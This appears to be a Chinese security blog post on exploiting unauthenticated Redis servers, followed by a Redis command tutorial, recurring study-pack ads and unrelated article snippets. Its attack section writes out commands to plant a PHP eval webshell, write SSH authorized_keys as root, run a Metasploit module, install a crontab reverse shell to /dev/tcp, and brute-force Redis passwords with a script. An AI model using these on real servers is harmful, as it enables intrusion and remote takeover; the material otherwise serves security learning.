浅谈redis未授权漏洞

redis未授权漏洞

 

利用条件

版本比较高的redis需要修改redis的配置文件,将bind前面#注释符去掉,将protected-mode 后面改为no

写入webshell

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

config get dir #查看redis数据库路径
config set dir web路径# #修改靶机Redis数据库路径
config set dbfilename shell.php #生成shell.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php @eval($_POST['coleak']);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

ssh密钥连接

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

利用条件

1.当redis以root身份运行。

2.靶机redis链接未授权,在攻击机上能用redis-cli连上

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录(权限问题可能不成功)。因为.ssh是隐藏目录可以通过ls -la查看有没有。

ssh-keygen -t rsa
将公钥id_rsa.pub里面内容复制到key.txt上传到靶机上面

cat key.txt | redis-cli -h ip -x set xxx#如果是windows 将cat换成type
#将公钥作为value插入到数据库中
redis-cli -h 192.168.43.141 
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa root@ip

msf利用

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

msfdb run#开启msf
search redis#查看有关redis的模块
use 5
show options
set RHOST 192.168.3.207 #设置靶机的ip
run

利用crontab反弹shell

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

nc -lvnp 4444

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

过一分钟左右就可以收到shell

python脚本检测未授权或弱口令

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

防御方法

1.绑定IP 把 #bind 127.0.0.1前面的注释#号去掉,把127.0.0.1改成你允许访问你的redis服务器的ip地址
2.设置密码

redis基础知识

安装配置

kali(ubuntu)

安装redis
sudo apt-get update
sudo apt-get install redis-server

启动 Redis
redis-server
使用配置文件启动
redis-server /etc/redis/redis.conf

连接 redis
redis-cli
redis-cli -h 127.0.0.1 -p 6379
redis-cli -h host -p port -a password

避免中文乱码
redis-cli --raw

编辑配置

使用 CONFIG set 命令来修改配置

redis 127.0.0.1:6379> CONFIG SET loglevel "notice"
OK

redis 127.0.0.1:6379> CONFIG GET loglevel
1) "loglevel"
2) "notice"

CONFIG GET *

key命令

del 删除
dump 序列化给定 key ,并返回被序列化的值。
exists 检查给定 key 是否存在
expire key seconds 为给定 key 设置过期时间,以秒计
keys 正则匹配所有的key值
ttl 返回剩余存活时间    -1不过期,-2已过期或不存在
randomkey 从当前数据库中随机返回一个 key 。
rename 重命名key
type 返回类型
flushall 删除所有的key
quit 退出
setex 设置包含过期时间的key

数据类型

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。

字符串

getrange 返回 key 中字符串值的子字符
setnx 不存在时设置key值
strlen 返回字符串的长度

列表

lpush 左插
rpush 右插
lrange start end 查看内容
lrange coleak 0 -1
lpop 左取出
rpop 右取出
l(r)pop key number 删除指定数量的内容
llen 返回长度
ltrim key start end 保留区间内的元素

集合

sadd 集合添加元素
smembers 查看集合内元素
srem 删除集合中的元素

有序集合

zadd key number value 根据nmum大小添加到有序集合
zrange key start end (withscores)按照顺序列举
zscore key value 查看number
zrank 查看排名(反序)
zrevrank 正序排名
zrem 删除某个内容

哈希

hset person name coleak
hset person age 20
hget person age
hgetall person 返回所有键值对
hdel 删除键值对
hdel person age
hexists 判断键值对是否存在
hexists person age
hlen 键值对等数量
hlen person

发布订阅模式

SUBSCRIBE coleak
PUBLISH coleak "cc"

Stream消息队列

xadd coleak * course math 这里*表示自动生成消息的id
xadd coleak * course english
xadd coleak * course cs
xlen coleak
xrange coleak - +  查看coleak中所有消息
xdel coleak 1694008733008-0
xtrim  coleak maxlen 0 删除所有消息

xadd coleak 1-0 course git
xadd coleak 2-0 course docker
xadd coleak 3-0 course redis
xread streams coleak 0  从第0条开始读取消息
xread count 2 block 1000 streams coleak 0  读取两条,若一条都无则堵塞一千毫秒

xread count 5 block 10000 streams coleak $ 读取从此刻开始的最新消息
xadd coleak 1-0 course newbypass

xgroup cokeak group1 0 消息名,组名,组id:添加消费者组
xinfo groups coleak
xgroup createconsumer coleak group1 con1
xgroup createconsumer coleak group1 con2
xgroup createconsumer coleak group1 con3
xreadgroup group group1 con1 count 2 block 3000 streams coleak >

地理位置

geoadd:添加地理位置的坐标。
geopos:获取地理位置的坐标。
geodist:计算两个位置之间的距离。
georadius:根据用户给定的经纬度坐标来获取指定范围内的地理位置集合。
georadiusbymember:根据储存在位置集合里面的某个地点获取指定范围内的地理位置集合。
geohash:返回一个或多个位置对象的 geohash 值。

HyperLogLog

pfadd course1 git docker redis
pfcount course1
pfadd course2 python java redis docker
pfcount course2
pfmerge course course1 course2
pfcount course    返回为5

bitmap

set dianzan "\xf0"    11110000
getbit dianzan 0      0
getbit dianzan 3	  1
bitcount dianzan 统计为1的数量
bitpos dianzan 0 返回第一个出现0的位置

事务

MULTI
set k1 v1
set k2 v2
EXEC

DISCARD
取消事务,放弃执行事务块内的所有命令。

持久化

sudo vim /etc/redis/redis.conf
save 3600 1 自动触发快照

save 手动快照
xxd dump.rdb
bgsave 子进程进行保存,不影响当下数据的处理

CONFIG GET dir 查看保存的路径

AOF 保存执行的所有操作,并在下次打开时重新执行以复原数据库
appendonly yes

dbfilename文件保存的路径

密码设置

CONFIG set requirepass "coleak" 设置密码
CONFIG get requirepass
AUTH PASSWORD  登陆时密码匹配时返回 OK ,否则返回一个错误

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/655491.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数字化工厂怎么收集,处理数据?

数字化工厂的数据收集与处理 数字化工厂是现代化工厂&#xff0c;利用数字技术和数据分析提高效率和优化流程。数据分析作为数字化工厂的核心技术&#xff0c;对数据的获取与处理至关重要。在数字化工厂中&#xff0c;数据的来源包括企业内部信息系统、物联网信息以及外部信息&…

【华为OD机试-C卷D卷-200分】反射计数(C++/Java/Python)

【华为OD机试】-(A卷+B卷+C卷+D卷)-2024真题合集目录 【华为OD机试】-(C卷+D卷)-2024最新真题目录 题目描述 给定一个包含 0 和 1 的二维矩阵。 给定一个初始位置和速度,一个物体从给定的初始位置出发,在给定的速度下进行移动,遇到矩阵的边缘则发生镜面发射。 无论物体…

宝塔部署Java+Vue前后端分离项目

1. 服务器 服务器选择Linux的CentOS7的版本 2. 宝塔Linux面板 2.1 百度搜索宝塔 2.2 进去之后点击立即免费安装 2.3 选择Linux在线安装&#xff0c;输入服务器信息进行安装(也可以选择其他方式) 安装完成之后会弹一个宝塔的应用面板&#xff0c;并附带有登录名称和密码&…

韩顺平0基础学Java——第13天

p264-p284 安装IDEA&#xff0c;熟悉一下软件。 尴尬了&#xff0c;难道是这个版本的idea不支持jdk17&#xff0c;难受住了 成功了&#xff0c;顺便跑一下昨天的作业&#xff1a; 这都要跑2秒&#xff1f;是电脑的问题还是谁的问题&#xff1f;控制台里跑的好快的哦 设置id…

django中,无法跳转到请求的html页面?

出现错误&#xff1a; You’re seeing this error because you have DEBUG True in your Django settings file. Change that to False, and Django will display a standard 404 page. 在urls中&#xff0c;注释了系统的默认配置&#xff0c;这时就需要在setting配置文件中&…

京东面试:SpringBoot同时可以处理多少请求?

面试题大全&#xff1a;www.javacn.site Spring Boot 作为 Java 开发中必备的框架&#xff0c;它为开发者提供了高效且易用的开发工具&#xff0c;所以和它相关的面试题自然也很重要&#xff0c;咱们今天就来看这道经典的面试题&#xff1a;Spring Boot 同时可以处理多少个请求…

17- PHP 开发-个人博客项目TP 框架路由访问安全写法历史漏 洞

常见的php框架&#xff1a;laravel和thinkphp和yii 这里以thinkphp为例 thinkphp目录访问设置 这里只找到了这个3.多的源代码&#xff0c;没找点5.的&#xff0c;凑合一下 链接&#xff1a;GitHub - top-think/thinkphp: ThinkPHP3.2 ——基于PHP5的简单快速的面向对象的PHP…

docker-compose报错

前提条件 1、使用docker-compose之前&#xff0c;一定要安装并且运行Docker 2、拉取镜像之前&#xff0c;一定要配置Docker镜像加速&#xff0c;否则下载特别慢 情况1 docker-compose无法打开 错误信息&#xff1a; cannot open self /usr/local/bin/docker-compose or arch…

轻兔推荐 —— vfox

简介 vfox 是一个跨平台且可扩展的版本管理工具&#xff0c;终于有一个可以管理所有运行环境的工具了 - 支持一键安装 Java、Node.js、Flutter、.Net、Golang、PHP、Python等多种环境 - 支持一键切换不同版本 特点 支持Windows(非WSL)、Linux、macOS! 支持不同项目不同版本、…

力扣63 不同路径Ⅱ Java版本

文章目录 题目描述代码 题目描述 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish”&#xff09;。 现在考虑网格…

C# WPF编程基础

XAML文件内容 <Window x:Class"Wpf_demo1.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d"http://schemas.microsoft.com/expression/ble…

LeetCode215数组中第K个最大元素

题目描述 给定整数数组 nums 和整数 k&#xff0c;请返回数组中第 k 个最大的元素。请注意&#xff0c;你需要找的是数组排序后的第 k 个最大的元素&#xff0c;而不是第 k 个不同的元素。你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。 解析 快速排序的思想&#xff…

00Java准备工作

目录 JDK的安装目录 JAVA环境变量的配置 JAVA小知识 JDK的安装目录 目录名称说明bin该路径下存放了JDK的各种工具命令,javac和java就放在这个目录conf该路径下存放了JDK的相关配置文件include该路径下存放了一些平台特定的头文件jmods该路径下存放了JDK的各种模块legal该路…

upload-labs 通关方法

目录 Less-1&#xff08;JS前端验证&#xff09; Less-2&#xff08;MIME验证&#xff09; Less-3&#xff08;黑名单&#xff0c;特殊过滤&#xff09; Less-4&#xff08;黑名单验证&#xff0c;.htaccess&#xff09; Less-5&#xff08;黑名单&#xff0c;点空格点绕过…

深度学习设计模式之组合模式

文章目录 前言一、介绍二、详细分析1.核心组成2.实现步骤3.代码示例4.优缺点优点缺点 5.使用场景 总结 前言 组合模式是将对象组合成树形结构来表现"整体/部分"层次结构&#xff0c;可以更好的实现管理操作。 一、介绍 组合设计模式又叫部分整体模式&#xff0c;将…

集合的创建

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 Python中的集合同数学中的集合概念类似&#xff0c;也是用于保存不重复元素的。它有可变集合&#xff08;set&#xff09;和不可变集合&#xff08;f…

Mongodb 可视化工具Robot 3t安装【windows环境下】

下载应用 打开连接点我 选择windows版本并点击下载 下载完毕&#xff0c;双击并傻瓜安装 连接数据库 点击图标&#xff0c; 点击create创建连接 填写host和port 如果有用户名密码的&#xff0c;在authentication里填写 5. save 并连接即可使用&#xff01;

143.栈和队列:用队列实现栈(力扣)

题目描述 代码解决 class MyStack { public:queue<int> que; // 定义一个队列用于实现栈// 构造函数&#xff0c;初始化队列MyStack() {}// 向栈中推入元素 xvoid push(int x) {que.push(x); // 使用队列的 push 方法将元素 x 添加到队列尾部}// 从栈中弹出并返回栈顶元…

SQL 语言:数据控制

文章目录 概述授权&#xff08;GRANT)销权&#xff08;REVOKE&#xff09;总结 概述 SQL语言中的数据控制权限分配是数据库管理的重要组成部分&#xff0c;它涉及到如何合理地为用户分配对数据库资源的访问和使用权限。 权限类型&#xff1a;在SQL中&#xff0c;权限主要分为…

【C++】list的使用方法和模拟实现

❤️欢迎来到我的博客❤️ 前言 list是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代list的底层是双向链表结构&#xff0c;双向链表中每个元素存储在互不相关的独立节点中&#xff0c;在节点中通过指针指向其前一个元素和后…